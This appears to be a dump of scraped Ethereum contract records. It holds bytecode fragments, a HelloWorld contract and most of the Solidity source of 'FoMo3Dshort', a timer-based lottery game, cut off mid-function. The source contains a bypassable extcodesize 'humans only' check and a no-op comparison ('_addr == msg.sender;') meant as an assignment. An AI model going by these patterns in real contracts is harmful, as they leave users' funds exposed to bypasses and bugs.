6c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158205725496779b81dd9232992896ab251bb679425a1b18de0dccecce32e7aac40db64736f6c63430005110032 | [
38
] |
0xf359d9e7da8794e77322f9bbd3f6e588665109be | /*
* DO NOT EDIT! DO NOT EDIT! DO NOT EDIT!
*
* This is an automatically generated file. It will be overwritten.
*
* For the original source see
* '/Users/ragolta/ETH/swaldman/helloworld/src/main/solidity/helloworld.sol'
*/
pragma solidity ^0.4.18;
contract HelloWorld{
function hello() pure public returns (string) {
return "Hello world.";
}
} | 0x606060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806319ff1d2114610046575b600080fd5b341561005157600080fd5b6100596100d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561009957808201518184015260208101905061007e565b50505050905090810190601f1680156100c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100dc610117565b6040805190810160405280600c81526020017f48656c6c6f20776f726c642e0000000000000000000000000000000000000000815250905090565b6020604051908101604052806000815250905600a165627a7a72305820c0a211d2f0837079b9320f8d5f02bba74db2f81ca2c4167559a43e6fe7a15d100029 | [
38
] |
0xf359f2cc9e921496cd1ffa6746b6fdd08c25fab4 | pragma solidity ^0.4.24;
contract F3Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xCB80bdBcc720e3525988De75822ef8D192Edd052);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 0 minutes; // length of the very first ICO
uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 5 minutes; // round timer starts at this
uint256 constant private rndInc_ = 10 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 5 minutes; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(30,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(43,0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(56,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(43,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
